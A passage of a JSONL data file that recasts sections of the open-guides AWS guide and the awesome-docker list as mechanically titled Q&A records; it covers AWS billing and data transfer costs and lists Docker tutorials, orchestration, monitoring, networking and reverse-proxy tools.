appropriately](http://aws.amazon.com/blogs/aws/aws-cost-allocation/), you can then get visibility into expenses according to organization, product, individual engineer, or any other way that is helpful.\n-\tIf you need to do custom analysis of raw billing data or want to feed it to a third party cost analysis service, [enable](http://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/detailed-billing-reports.html#turnonreports) the [detailed billing report](http://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/detailed-billing-reports.html#detailed-billing-report) feature.\n-\tMultiple Amazon accounts can be linked for billing purposes using the [Consolidated Billing](http://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/consolidated-billing.html) feature. Large enterprises may need complex billing structures depending on ownership and approval processes.\n-\tMultiple Amazon accounts can be managed centrally using [AWS Organizations](https://aws.amazon.com/organizations/).\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978639"}
{"id": "gh_d34d85ea97f0", "question": "How to: AWS Data Transfer Costs", "question_body": "About open-guides/og-aws", "answer": "-\tFor deployments that involve significant network traffic, a large fraction of AWS expenses are around data transfer. Furthermore, costs of data transfer, within AZs, within regions, between regions, and into and out of AWS and the internet vary significantly depending on deployment choices.\n-\tSome of the most common gotchas:\n\t-\t🔸*AZ-to-AZ traffic:* Note EC2 traffic between AZs is effectively the same as between regions. For example, deploying a Cassandra cluster across AZs is helpful for [high availability](#high-availability), but can hurt on network costs.\n\t-\t🔸*Using public IPs when not necessary:* If you use an Elastic IP or public IP address of an EC2 instance, you will incur network costs, even if it is accessed locally within the AZ.\n\t-\t🔸*Managed NAT Gateway data processing:* Managed NAT Gateways are used to let traffic egress from private subnets--at a cost of 4.5¢ as a data processing fee layered on top of data transfer pricing. Past a certain point, running your own NAT instances becomes far more cost effective.\n\t-\t🔸*Some services do cross-AZ traffic for free:* Many AWS services you'd not consider on their own merits offer a hidden value of free cross-AZ data transfer. EFS, RDS, MSK, and others are examples of this.\n-\tThis figure gives an overview:\n\n![AWS Data Transfer Costs](figures/aws-data-transfer-costs.png)\n\n[Back to top :arrow_up:](#table-of-contents)", "tags": ["open-guides"], "source": "github_gists", "category": "open-guides", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 36638, "answer_score": 10, "has_code": false, "url": "https://github.com/open-guides/og-aws", "collected_at": "2026-01-16T23:28:20.978647"}
{"id": "gh_e55b7748dbee", "question": "How to: Contents <!-- omit in toc -->", "question_body": "About veggiemonk/awesome-docker", "answer": "- [Legend](#legend)\n- [What is Docker](#what-is-docker)\n- [Where to start](#where-to-start)\n- [Where to start (Windows)](#where-to-start-windows)\n- [Projects](#projects)\n  - [Container Operations](#container-operations)\n    - [Container Composition](#container-composition)\n    - [Deployment and Infrastructure](#deployment-and-infrastructure)\n    - [Monitoring](#monitoring)\n    - [Networking](#networking)\n    - [Orchestration](#orchestration)\n    - [PaaS](#paas)\n    - [Reverse Proxy](#reverse-proxy)\n    - [Runtime](#runtime)\n    - [Security](#security)\n    - [Service Discovery](#service-discovery)\n    - [Volume Management / Data](#volume-management--data)\n    - [User Interface](#user-interface)\n      - [IDE integrations](#ide-integrations)\n      - [Desktop](#desktop)\n      - [Terminal](#terminal)\n        - [Terminal UI](#terminal-ui)\n        - [CLI tools](#cli-tools)\n        - [Other](#other)\n      - [Web](#web)\n  - [Docker Images](#docker-images)\n    - [Base Tools](#base-tools)\n    - [Builder](#builder)\n    - [Dockerfile](#dockerfile)\n    - [Linter](#linter)\n    - [Metadata](#metadata)\n    - [Registry](#registry)\n  - [Development with Docker](#development-with-docker)\n    - [API Client](#api-client)\n    - [CI/CD](#cicd)\n    - [Development Environment](#development-environment)\n    - [Garbage Collection](#garbage-collection)\n    - [Serverless](#serverless)\n    - [Testing](#testing)\n    - [Wrappers](#wrappers)\n  - [Services based on Docker (mostly :heavy\\_dollar\\_sign:)](#services-based-on-docker-mostly-heavy_dollar_sign)\n    - [CI Services](#ci-services)\n    - [CaaS](#caas)\n    - [Monitoring Services](#monitoring-services)\n- [Useful Resources](#useful-resources)\n  - [Awesome Lists](#awesome-lists)\n  - [Demos and Examples](#demos-and-examples)\n  - [Good Tips](#good-tips)\n  - [Raspberry Pi \\& ARM](#raspberry-pi--arm)\n  - [Security](#security-1)\n  - [Videos](#videos)\n- [Communities and Meetups](#communities-and-meetups)\n  - [Brazilian](#brazilian)\n  - [Chinese](#chinese)\n  - [English](#english)\n  - [Russian](#russian)\n  - [Spanish](#spanish)\n  - [Stargazers over time](#stargazers-over-time)", "tags": ["veggiemonk"], "source": "github_gists", "category": "veggiemonk", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 35181, "answer_score": 10, "has_code": true, "url": "https://github.com/veggiemonk/awesome-docker", "collected_at": "2026-01-16T23:28:26.687490"}
{"id": "gh_3f78aabe24d8", "question": "How to: What is Docker", "question_body": "About veggiemonk/awesome-docker", "answer": "> Docker is an open platform for developers and sysadmins to build, ship, and run distributed applications. Consisting of Docker Engine, a portable, lightweight runtime and packaging tool, and Docker Hub, a cloud service for sharing applications and automating workflows, Docker enables apps to be quickly assembled from components and eliminates the friction between development, QA, and production environments. As a result, IT can ship faster and run the same app, unchanged, on laptops, data center VMs, and any cloud.\n\n_Source:_ [What is Docker](https://www.docker.com/why-docker/)", "tags": ["veggiemonk"], "source": "github_gists", "category": "veggiemonk", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 35181, "answer_score": 10, "has_code": false, "url": "https://github.com/veggiemonk/awesome-docker", "collected_at": "2026-01-16T23:28:26.687505"}
{"id": "gh_210b8257ee13", "question": "How to: Where to start", "question_body": "About veggiemonk/awesome-docker", "answer": "-   [Benefits of using Docker](https://semaphore.io/blog/docker-benefits) for development and delivery, with a practical roadmap for adoption.\n-   [Bootstrapping Microservices](https://www.manning.com/books/bootstrapping-microservices-with-docker-kubernetes-and-terraform) by [Ashley Davis](https://twitter.com/ashleydavis75) - A practical and project-based guide to building applications with microservices, starts by building a Docker image for a single microservice and publishing it to a private container registry, finishes by deploying a complete microservices application to a production Kubernetes cluster.\n-   [Docker Curriculum](https://github.com/prakhar1989/docker-curriculum): A comprehensive tutorial for getting started with Docker. Teaches how to use Docker and deploy dockerized apps on AWS with Elastic Beanstalk and Elastic Container Service.\n-   [Docker Documentation](https://docs.docker.com/): the official documentation.\n-   [Docker for beginners](https://github.com/groda/big_data/blob/master/docker_for_beginners.md): A tutorial for beginners who need to learn the basics of Docker—from \"Hello world!\" to basic interactions with containers, with simple explanations of the underlying concepts.\n-   [Docker for novices](https://www.youtube.com/watch?v=xsjSadjKXns) An introduction to Docker for developers and testers who have never used it. (Video 1h40, recorded linux.conf.au 2019 — Christchurch, New Zealand) by Alex Clews.\n\n-   [Docker katas](https://github.com/eficode-academy/docker-katas) A series of labs that will take you from \"Hello Docker\" to deploying a containerized web application to a server.\n-   [Docker simplified in 55 seconds](https://www.youtube.com/watch?v=vP_4DlOH1G4): An animated high-level introduction to Docker. Think of it as a visual tl;dr that makes it easier to dive into more complex learning materials.\n-   [Docker Training](https://training.mirantis.com) :heavy_dollar_sign:\n\n-   [Introduction à Docker](https://blog.stephane-robert.info/docs/conteneurs/moteurs-conteneurs/docker/) A dedicated section to master Docker on a French site about DevSecOps: From the basics to best practices, including optimizing, securing your containers... \n-   [Learn Docker](https://github.com/dwyl/learn-docker): step-by-step tutorial and more resources (video, articles, cheat sheets) by [@dwyl](https://github.com/dwyl)\n-   [Learn Docker (Visually)](https://pagertree.com/learn/docker/overview) - A beginner-focused high-level overview of all the major components of Docker and how they fit together. Lots of high-quality images, examples, and resources.\n-   [Play With Docker](https://training.play-with-docker.com/): PWD is a great way to get started with Docker from beginner to advanced users. Docker runs directly in your browser.\n-   [Practical Guide about Docker Commands in Spanish](https://github.com/brunocascio/docker-espanol) This Spanish guide contains the use of basic docker commands with real life examples.\n-   [Setting Python Development Environment with VScode and Docker](https://github.com/RamiKrispin/vscode-python): A step-by-step tutorial for setting up a dockerized Python development environment with VScode, Docker, and the Dev Container extension.\n-   [The Docker Handbook](https://docker-handbook.farhan.dev/) An open-source book that teaches you the fundamentals, best practices and some intermediate Docker functionalities. The book is hosted on [fhsinchy/the-docker-handbook](https://github.com/fhsinchy/the-docker-handbook) and the projects are hosted on [fhsinchy/docker-handbook-projects](https://github.com/fhsinchy/docker-handbook-projects) repository.\n\n**Cheatsheets** by\n\n-   [@eon01](https://github.com/eon01/DockerCheatSheet)\n-   [@dimonomid](https://github.com/dimonomid/docker-quick-ref) (PDF)\n-   [@JensPiegsa](https://github.com/JensPiegsa/docker-cheat-sheet)\n-   [@wsargent](https://github.com/wsargent/docker-cheat-sheet) (Most popular)", "tags": ["veggiemonk"], "source": "github_gists", "category": "veggiemonk", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 35181, "answer_score": 10, "has_code": false, "url": "https://github.com/veggiemonk/awesome-docker", "collected_at": "2026-01-16T23:28:26.687523"}
{"id": "gh_92aad9dd868b", "question": "How to: Where to start (Windows)", "question_body": "About veggiemonk/awesome-docker", "answer": "-   [Docker on Windows behind a firewall](https://toedter.com/2015/05/11/docker-on-windows-behind-a-firewall/) by [@kaitoedter](https://twitter.com/kaitoedter)\n-   [Docker Reference Architecture: Modernizing Traditional .NET Framework Applications](https://docs.mirantis.com/containers/v3.0/dockeree-ref-arch/app-dev/modernize-dotnet-apps.html) - You will learn to identify the types of .NET Framework applications that are good candidates for containerization, the \"lift-and-shift\" approach to containerization.\n-   [Docker with Microsoft SQL 2016 + ASP.NET](https://blog.alexellis.io/docker-does-sql2016-aspnet/) Demonstration running ASP.NET and SQL Server workloads in Docker\n-   [Exploring ASP.NET Core with Docker in both Linux and Windows Containers](https://www.hanselman.com/blog/exploring-aspnet-core-with-docker-in-both-linux-and-windows-containers) Running ASP.NET Core apps in Linux and Windows containers, using [Docker for Windows][docker-for-windows]\n-   [Running a Legacy ASP.NET App in a Windows Container](https://blog.sixeyed.com/dockerizing-nerd-dinner-part-1-running-a-legacy-asp-net-app-in-a-windows-container/) Steps for Dockerizing a legacy ASP.NET app and running as a Windows container\n-   [Windows Containers and Docker: The 101](https://www.youtube.com/watch?v=N7SG2wEyQtM) :movie_camera: - A 20-minute overview, using Docker to run PowerShell, ASP.NET Core and ASP.NET apps\n-   [Windows Containers Quick Start](https://learn.microsoft.com/en-us/virtualization/windowscontainers/about/) Overview of Windows containers, drilling down to Quick Starts for Windows 10 and Windows Server 2016\n\n---", "tags": ["veggiemonk"], "source": "github_gists", "category": "veggiemonk", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 35181, "answer_score": 10, "has_code": false, "url": "https://github.com/veggiemonk/awesome-docker", "collected_at": "2026-01-16T23:28:26.687532"}
{"id": "gh_d7739a594256", "question": "How to: Container Composition", "question_body": "About veggiemonk/awesome-docker", "answer": "-   [bocker](https://github.com/icy/bocker) (2) :skull: - Write Dockerfile completely in Bash. Extensible and simple. --> Reusable by [@icy](https://github.com/icy)\n-   [bocker](https://github.com/p8952/bocker) (1) :skull: - Docker implemented in 100 lines of bash by [p8952](https://github.com/p8952)\n-   [box](https://github.com/box-builder/box) :skull: - Build Dockerfile images with a mruby DSL, includes flattening and layer manipulation\n-   [Capitan](https://github.com/byrnedo/capitan) - Composable docker orchestration with added scripting support by [@byrnedo].\n-   [compose_plantuml](https://github.com/funkwerk/compose_plantuml) :skull: - Generate Plantuml graphs from docker-compose files by [@funkwerk](https://github.com/funkwerk)\n-   [Composerize](https://github.com/magicmark/composerize) - Convert docker run commands into docker-compose files\n-   [crowdr](https://github.com/polonskiy/crowdr) - Tool for managing multiple Docker containers (`docker-compose` alternative) by [@polonskiy](https://github.com/polonskiy/)\n-   [ctk](https://github.com/ctk-hq/ctk) :construction: - Visual composer for container based workloads. By [@corpulent](https://github.com/corpulent)\n-   [docker-compose-graphviz](https://github.com/abesto/docker-compose-graphviz) :skull: - Turn a docker-compose.yml files into Graphviz .dot files by [@abesto](https://github.com/abesto)\n-   [docker-config-update](https://github.com/sudo-bmitch/docker-config-update) - Utility to update docker configs and secrets for deploying in a compose file by [@sudo-bmitch](https://github.com/sudo-bmitch)\n-   [draw-compose](https://github.com/Alexis-benoist/draw-compose) :skull: - Utility to draw a schema of a docker compose by [@Alexis-benoist](https://github.com/Alexis-benoist)\n-   [elsy](https://github.com/cisco/elsy) - An opinionated, multi-language, build tool based on Docker and Docker Compose\n-   [habitus](https://github.com/cloud66-oss/habitus) - A Build Flow Tool for Docker by [@cloud66](https://github.com/cloud66)\n-   [kompose](https://github.com/kubernetes/kompose) - Go from Docker Compose to Kubernetes\n-   [Maestro](https://github.com/toscanini/maestro) :skull: - Maestro provides the ability to easily launch, orchestrate and manage multiple Docker containers as single unit by [@tascanini](https://github.com/toscanini)\n-   [percheron](https://github.com/ashmckenzie/percheron) :skull: - Organise your Docker containers with muscle and intelligence by [@ashmckenzie](https://github.com/ashmckenzie)\n-   [plash](https://github.com/ihucos/plash) - A container run and build engine - runs inside docker.\n-   [podman-compose](https://github.com/containers/podman-compose) - a script to run docker-compose.yml using podman by [@containers][containers]\n-   [rocker-compose](https://github.com/grammarly/rocker-compose) :skull: - Docker composition tool with idempotency features for deploying apps composed of multiple containers. By[@grammarly].\n-   [rocker](https://github.com/grammarly/rocker) :skull: - Extended Dockerfile builder. Supports multiple FROMs, MOUNTS, templates, etc. by [@grammarly].\n-   [Smalte](https://github.com/roquie/smalte) – Dynamically configure applications that require static configuration in docker container. By [@roquie](https://github.com/roquie)\n-   [Stacker](https://github.com/stacker/stacker-cli) :skull: - Docker Compose Templates. Stacker provides an abstraction layer over Docker Compose and a better DX (developer experience).\n-   [Stitchocker](https://github.com/alexaandrov/stitchocker) - A lightweight and fast command line utility for conveniently grouping your docker-compose multiple container services. By [@alexaandrov](https://github.com/alexaandrov)\n-   [Zodiac](https://github.com/CenturyLinkLabs/zodiac) :skull: - A lightweight tool for easy deployment and rollback of dockerized applications. By [@CenturyLinkLabs][centurylinklabs]", "tags": ["veggiemonk"], "source": "github_gists", "category": "veggiemonk", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 35181, "answer_score": 10, "has_code": false, "url": "https://github.com/veggiemonk/awesome-docker", "collected_at": "2026-01-16T23:28:26.687548"}
{"id": "gh_5a1826d17929", "question": "How to: Deployment and Infrastructure", "question_body": "About veggiemonk/awesome-docker", "answer": "-   [awesome-stacks](https://github.com/ethibox/awesome-stacks) - Deploy 150+ open-source web apps with one Docker command\n-   [blackfish](https://gitlab.com/blackfish/blackfish) - a CoreOS VM to build swarm clusters for Dev & Production by [@blackfish](https://gitlab.com/blackfish/)\n-   [BosnD](https://gitlab.com/n0r1sk/bosnd) - BosnD, the boatswain daemon - A dynamic configuration file writer & service reloader for dynamically changing container environments.\n-   [Centurion](https://github.com/newrelic/centurion) - Centurion is a mass deployment tool for Docker fleets. It takes containers from a Docker registry and runs them on a fleet of hosts with the correct environment variables, host volume mappings, and port mappings. By [@newrelic](https://github.com/newrelic)\n-   [Clocker](https://github.com/brooklyncentral/clocker) - Clocker creates and manages a Docker cloud infrastructure. Clocker supports single-click deployments and runtime management of multi-node applications that run as containers distributed across multiple hosts, on both Docker and Marathon. It leverages [Calico][calico] and [Weave][weave] for networking and [Brooklyn](https://brooklyn.apache.org/) for application blueprints. By [@brooklyncentral](https://github.com/brooklyncentral)\n-   [Conduit](https://github.com/ehazlett/conduit) - Experimental deployment system for Docker by [@ehazlett](https://github.com/ehazlett)\n-   [depcon](https://github.com/ContainX/depcon) - Depcon is written in Go and allows you to easily deploy Docker containers to Apache Mesos/Marathon, Amazon ECS and Kubernetes. By [@ContainX][containx]\n-   [deploy](https://github.com/ttiny/deploy) :skull: - Git and Docker deployment tool. A middle ground between simple Docker composition tools and full blown cluster orchestration by [@ttiny](https://github.com/ttiny)\n-   [docker-to-iac](https://github.com/deploystackio/docker-to-iac) - Translate docker run and commit into Infrastructure as Code templates for AWS, Render.com and DigitalOcean by [@DeployStack](https://github.com/deploystackio)\n-   [dockit](https://github.com/humblec/dockit) :skull: - Do docker actions and Deploy gluster containers! By [@humblec](https://github.com/humblec)\n-   [gitkube](https://github.com/hasura/gitkube) - Gitkube is a tool for building and deploying docker images on Kubernetes using `git push`. By [@Hasura](https://github.com/hasura/).\n-   [Grafeas](https://github.com/grafeas/grafeas) - A common API for metadata about containers, from image and build details to security vulnerabilities. By [grafeas](https://github.com/grafeas)\n-   [Longshoreman](https://github.com/longshoreman/longshoreman) :skull: - Longshoreman automates application deployment using Docker. Just create a Docker repository (or use a service), configure the cluster using AWS or Digital Ocean (or whatever you like) and deploy applications using a Heroku-like CLI tool. By [longshoreman](https://github.com/longshoreman)\n-   [swarm-ansible](https://github.com/LombardiDaniel/swarm-ansible?tab=readme-ov-file) - Swarm-Ansible bootstraps a production-ready swarm cluster using ansible. Comes with tools to automate CI, help monitoring and traefik pre-configured for SSL certificates and simple-auth. Comes with a private registry and more!\n-   [SwarmManagement](https://github.com/hansehe/SwarmManagement) - Swarm Management is a python application, installed with pip. The application makes it easy to manage a Docker Swarm by configuring a single yaml file describing which stacks to deploy, and which networks, configs or secrets to create.\n-   [werf](https://github.com/werf/werf) - werf is a CI/CD tool for building Docker images efficiently and deploying them to Kubernetes using GitOps by [@flant](https://github.com/flant)", "tags": ["veggiemonk"], "source": "github_gists", "category": "veggiemonk", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 35181, "answer_score": 10, "has_code": false, "url": "https://github.com/veggiemonk/awesome-docker", "collected_at": "2026-01-16T23:28:26.687559"}
{"id": "gh_653c737757bc", "question": "How to: Monitoring", "question_body": "About veggiemonk/awesome-docker", "answer": "- [Autoheal](https://github.com/willfarrell/docker-autoheal) - Monitor and restart unhealthy docker containers automatically.\n- [Axibase Collector](https://axibase.com/docs/axibase-collector/) - Axibase Collector streams performance counters, configuration changes and lifecycle events from the Docker engine(s) into Axibase Time Series Database for roll-up dashboards and integration with upstream monitoring systems.\n- [cAdvisor](https://github.com/google/cadvisor) - Analyzes resource usage and performance characteristics of running containers. Created by [@Google][google]\n- [Checkmate](https://github.com/bluewave-labs/checkmate) - Checkmate is an open-source, self-hosted tool designed to track and monitor server hardware, uptime, response times, and incidents in real-time with beautiful visualizations.\n- [Docker-Alertd](https://github.com/deltaskelta/docker-alertd) - Monitor and send alerts based on docker container resource usage/statistics\n- [Docker-Flow-Monitor](https://github.com/docker-flow/docker-flow-monitor) - Reconfigures Prometheus when a new service is updated or deployed automatically by [@docker-flow][docker-flow]\n- [Dockerana](https://github.com/dockerana/dockerana) :skull: - packaged version of Graphite and Grafana, specifically targeted at metrics from Docker.\n- [DockProc](https://gitlab.com/n0r1sk/dockproc) - I/O monitoring for containers on processlevel.\n- [dockprom](https://github.com/stefanprodan/dockprom) - Docker hosts and containers monitoring with Prometheus, Grafana, cAdvisor, NodeExporter and AlertManager by [@stefanprodan](https://github.com/stefanprodan)\n- [Doku](https://github.com/amerkurev/doku) - Doku is a simple web-based application that allows you to monitor Docker disk usage. [@amerkurev](https://github.com/amerkurev)\n- [Dozzle](dozzle) - Monitor container logs in real-time with a browser or mobile device. [@amir20](https://github.com/amir20)\n- [Dynatrace](https://www.dynatrace.com/solutions/container-monitoring/) :heavy_dollar_sign: - Monitor containerized applications without installing agents or modifying your Run commands\n- [Glances](https://github.com/nicolargo/glances) - A cross-platform curses-based system monitoring tool written in Python by [@nicolargo](https://github.com/nicolargo)\n- [Grafana Docker Dashboard Template](https://grafana.com/grafana/dashboards/179-docker-prometheus-monitoring/) - A template for your Docker, Grafana and Prometheus stack [@vegasbrianc][vegasbrianc]\n- [HertzBeat](https://github.com/dromara/hertzbeat) - An open-source real-time monitoring system with custom-monitor and agentless.\n- [InfluxDB, cAdvisor, Grafana](https://github.com/vegasbrianc/docker-monitoring) - InfluxDB Time series DB in combination with Grafana and cAdvisor by [@vegasbrianc][vegasbrianc]\n- [LogJam](https://github.com/gocardless/logjam) - :skull: Logjam is a log forwarder designed to listen on a local port, receive log entries over UDP, and forward these messages on to a log collection server (such as logstash) by [@gocardless](https://github.com/gocardless)\n- [Logspout](https://github.com/gliderlabs/logspout) - Log routing for Docker container logs by [@gliderlabs][gliderlabs]\n- [monit-docker](https://github.com/decryptus/monit-docker) - Monitor docker containers resources usage or status and execute docker commands or inside containers. [@decryptus][decryptus]\n- [NexClipper](https://github.com/NexClipper/NexClipper) - NexClipper is the container monitoring and performance management solution specialized in Docker, Apache Mesos, Marathon, DC/OS, Mesosphere, Kubernetes by [@Nexclipper](https://github.com/NexClipper)\n- [Out-of-the-box Host/Container Monitoring/Logging/Alerting Stack](https://github.com/uschtwill/docker_monitoring_logging_alerting) - Docker host and container monitoring, logging and alerting out of the box using cAdvisor, Prometheus, Grafana for monitoring, Elasticsearch, Kibana and Logstash for logging and elastalert and Alertmanager for alerting. Set up in 5 Minutes. Secure mode for production use with built-in [Automated Nginx Reverse Proxy (jwilder's)][nginxproxy].\n- [Sidekick](https://github.com/runsidekick/sidekick) 💲 - Open source live application debugger like Chrome DevTools for your backend. Collect traces and generate logs on-demand without stopping & redeploying your applications.\n- [SuperVisor CPM](https://t0xic0der.medium.com/simply-accessible-container-performance-monitoring-with-supervisor-7fb47f925f3b) [Frontend Service](https://github.com/t0xic0der/supervisor-frontend-service/) and [Driver Service](https://github.com/t0xic0der/supervisor-driver-service/) :construction: - A simple and accessible FOSS container performance monitoring service written in Python by [@t0xic0der](https://github.com/t0xic0der/)\n- [SwarmAlert](https://github.com/gpulido/SwarmAlert) - Monitors a Docker Swarm and sends Pushover alerts when it finds a container with no healthy service task running.\n- [Zabbix Docker module](https://github.com/monitoringartist/Zabbix-", "tags": ["veggiemonk"], "source": "github_gists", "category": "veggiemonk", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 35181, "answer_score": 10, "has_code": false, "url": "https://github.com/veggiemonk/awesome-docker", "collected_at": "2026-01-16T23:28:26.687582"}
{"id": "gh_dbfea7b009b8", "question": "How to: Networking", "question_body": "About veggiemonk/awesome-docker", "answer": "-   [Calico][calico] - Calico is a pure layer 3 virtual network that allows containers over multiple docker-hosts to talk to each other.\n-   [Flannel](https://github.com/coreos/flannel/) - Flannel is a virtual network that gives a subnet to each host for use with container runtimes. By [@coreos][coreos]\n-   [Freeflow](https://github.com/Microsoft/Freeflow) - High performance container overlay networks on Linux. Enabling RDMA (on both InfiniBand and RoCE) and accelerating TCP to bare metal performance. By [@Microsoft](https://github.com/Microsoft)\n-   [MyIP](https://github.com/jason5ng32/MyIP) - All in one IP Toolbox. Easy to check all your IPs, IP geolocation, check for DNS leaks, examine WebRTC connections, speed test, ping test, MTR test, check website availability, whois search and more. By [@jason5ng32](https://github.com/jason5ng32)\n-   [netshoot](https://github.com/nicolaka/netshoot) - The netshoot container has a powerful set of networking tools to help troubleshoot Docker networking issues by [@nicolaka](https://github.com/nicolaka)\n-   [Pipework](https://github.com/jpetazzo/pipework) - Software-Defined Networking for Linux Containers, Pipework works with \"plain\" LXC containers, and with the awesome Docker. By [@jpetazzo][jpetazzo]\n-   [Weave][weave] (The Docker network) - Weave creates a virtual network that connects Docker containers deployed across multiple hosts.", "tags": ["veggiemonk"], "source": "github_gists", "category": "veggiemonk", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 35181, "answer_score": 10, "has_code": false, "url": "https://github.com/veggiemonk/awesome-docker", "collected_at": "2026-01-16T23:28:26.687590"}
{"id": "gh_87c8cc7d8258", "question": "How to: Orchestration", "question_body": "About veggiemonk/awesome-docker", "answer": "-   [Ansible Linux Docker](https://github.com/Peco602/ansible-linux-docker) - Run Ansible from a Linux container. By [@Peco602][peco602]\n-   [athena](https://github.com/athena-oss/athena) - An automation platform with a plugin architecture that allows you to easily create and share services.\n-   [blimp](https://github.com/tubesandlube/blimp) :skull: - Uses Docker Machine to easily move a container from one Docker host to another, show containers running against all of your hosts, replicate a container across multiple hosts and more by [@defermat](https://github.com/defermat) and [@schvin](https://github.com/schvin)\n-   [CloudSlang](https://github.com/CloudSlang/cloud-slang) - CloudSlang is a workflow engine to create Docker process automation\n-   [clusterdock](https://github.com/clusterdock/clusterdock) - Docker container orchestration to enable the testing of long-running cluster deployments\n-   [Crane](https://github.com/Dataman-Cloud/crane) - Control plane based on docker built-in swarm [@Dataman-Cloud](https://github.com/Dataman-Cloud)\n-   [Docker Flow Swarm Listener](https://github.com/docker-flow/docker-flow-swarm-listener) - Docker Flow Swarm Listener project is to listen to Docker Swarm events and send requests when a change occurs. By [@docker-flow][docker-flow]\n-   [docker rollout](https://github.com/Wowu/docker-rollout) - Zero downtime deployment for Docker Compose services by [@Wowu](https://github.com/Wowu)\n-   [gantryd](https://github.com/DevTable/gantryd) :skull: - A framework for easy management of docker-based components across machines by [@DevTable](https://github.com/DevTable)\n-   [Haven](https://github.com/codeabovelab/haven-platform) - Haven is a simplified container management platform that integrates container, application, cluster, image, and registry managements. By [@codeabovelab](https://github.com/codeabovelab)\n-   [Helios](https://github.com/spotify/helios) :skull: - A simple platform for deploying and managing containers across an entire fleet of servers by [@spotify][spotify]\n-   [Kontena](https://github.com/kontena/kontena) :skull: - The developer friendly container and micro services platform. Works on any cloud, easy to setup, simple to use.\n-   [Kubernetes](https://github.com/kubernetes/kubernetes) - Open source orchestration system for Docker containers by Google\n-   [ManageIQ](https://github.com/ManageIQ/manageiq) - Discover, optimize and control your hybrid IT. By [ManageIQ](https://github.com/ManageIQ)\n-   [Mantl](https://github.com/mantl/mantl) - :skull: Mantl is a modern platform for rapidly deploying globally distributed services\n-   [Marathon](https://github.com/mesosphere/marathon) - :skull: Marathon is a private PaaS built on Mesos. It automatically handles hardware or software failures and ensures that an app is \"always on\"\n-   [Mesos](https://github.com/apache/mesos) - Resource/Job scheduler for containers, VM's and physical hosts [@apache](https://mesos.apache.org/)\n-   [Nebula](https://github.com/nebula-orchestrator) - A Docker orchestration tool designed to manage massive scale distributed clusters.\n-   [Nomad](https://github.com/hashicorp/nomad) - Easily deploy applications at any scale. A Distributed, Highly Available, Datacenter-Aware Scheduler by [@hashicorp](https://github.com/hashicorp)\n-   [Panamax](https://github.com/CenturyLinkLabs/panamax-ui) :skull: - An open-source project that makes deploying complex containerized apps as easy as Drag-and-Drop by [@CenturyLinkLabs][centurylinklabs].\n-   [Rancher](https://github.com/rancher/rancher) - An open source project that provides a complete platform for operating Docker in production by [@rancher][rancher].\n-   [RedHerd Framework](https://github.com/redherd-project/redherd-framework) - RedHerd is a collaborative and serverless framework for orchestrating a geographically distributed group of assets capable of simulating complex offensive cyberspace operations. By [@RedHerdProject](https://github.com/redherd-project).\n-   [Swarm-cronjob](https://github.com/crazy-max/swarm-cronjob) - Create jobs on a time-based schedule on Swarm by [@crazy-max]", "tags": ["veggiemonk"], "source": "github_gists", "category": "veggiemonk", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 35181, "answer_score": 10, "has_code": false, "url": "https://github.com/veggiemonk/awesome-docker", "collected_at": "2026-01-16T23:28:26.687601"}
{"id": "gh_28a4fd34b866", "question": "How to: Reverse Proxy", "question_body": "About veggiemonk/awesome-docker", "answer": "-   [bunkerized-nginx](https://github.com/bunkerity/bunkerized-nginx) - Web app hosting and reverse proxy secure by default. By [@bunkerity](https://github.com/bunkerity)\n-   [caddy-docker-proxy](https://github.com/lucaslorentz/caddy-docker-proxy) - Caddy-based reverse proxy, configured with service or container labels. By [@lucaslorentz](https://github.com/lucaslorentz)\n-   [caddy-docker-upstreams](https://github.com/invzhi/caddy-docker-upstreams) - Docker upstreams module for Caddy, configured with container labels. By [@invzhi](https://github.com/invzhi)\n-   [Docker Dnsmasq Updater](https://github.com/moonbuggy/docker-dnsmasq-updater) - Update a remote dnsmasq server with Docker container hostnames.\n-   [docker-flow-proxy](https://github.com/docker-flow/docker-flow-proxy) - Reconfigures proxy every time a new service is deployed, or when a service is scaled. By [@docker-flow][docker-flow]\n-   [docker-proxy](https://github.com/silarsis/docker-proxy) :skull: - Transparent proxy for docker containers, run in a docker container. By [@silarsis](https://github.com/silarsis)\n-   [fabio](https://github.com/fabiolb/fabio) - A fast, modern, zero-conf load balancing HTTP(S) router for deploying microservices managed by consul. By [@magiconair](https://github.com/magiconair) (Frank Schroeder)\n-   [h2o-proxy](https://github.com/zchee/h2o-proxy) :skull: - Automated H2O reverse proxy for Docker containers. An alternative to [jwilder/nginx-proxy][nginxproxy] by [@zchee](https://github.com/zchee)\n-   [Let's Encrypt Nginx-proxy Companion](https://github.com/nginx-proxy/docker-letsencrypt-nginx-proxy-companion) - A lightweight companion container for the nginx-proxy. It allow the creation/renewal of Let's Encrypt certificates automatically. By [@JrCs](https://github.com/JrCs)\n-   [muguet](https://github.com/mattallty/muguet) :skull: - DNS Server & Reverse proxy for Docker environments. By [@mattallty](https://github.com/mattallty)\n-   [Nginx Proxy Manager](https://github.com/jc21/nginx-proxy-manager) - A beautiful web interface for proxying web based services with SSL. By [@jc21](https://github.com/jc21)\n-   [nginx-proxy][nginxproxy] - Automated nginx proxy for Docker containers using docker-gen by [@jwilder][jwilder]\n-   [OpenResty Manager](https://github.com/Safe3/openresty-manager) - The easiest using, powerful and beautiful OpenResty Manager(Nginx Enhanced Version), open source alternative to OpenResty Edge. By [@Safe3](https://github.com/Safe3/)\n-   [Swarm Ingress Router](https://github.com/tpbowden/swarm-ingress-router) :skull: - Route DNS names to Swarm services based on labels. By [@tpbowden](https://github.com/tpbowden/)\n-   [Swarm Router](https://github.com/flavioaiello/swarm-router) - A «zero config» service name based router for docker swarm mode with a fresh and more secure approach. By [@flavioaiello](https://github.com/flavioaiello)\n-   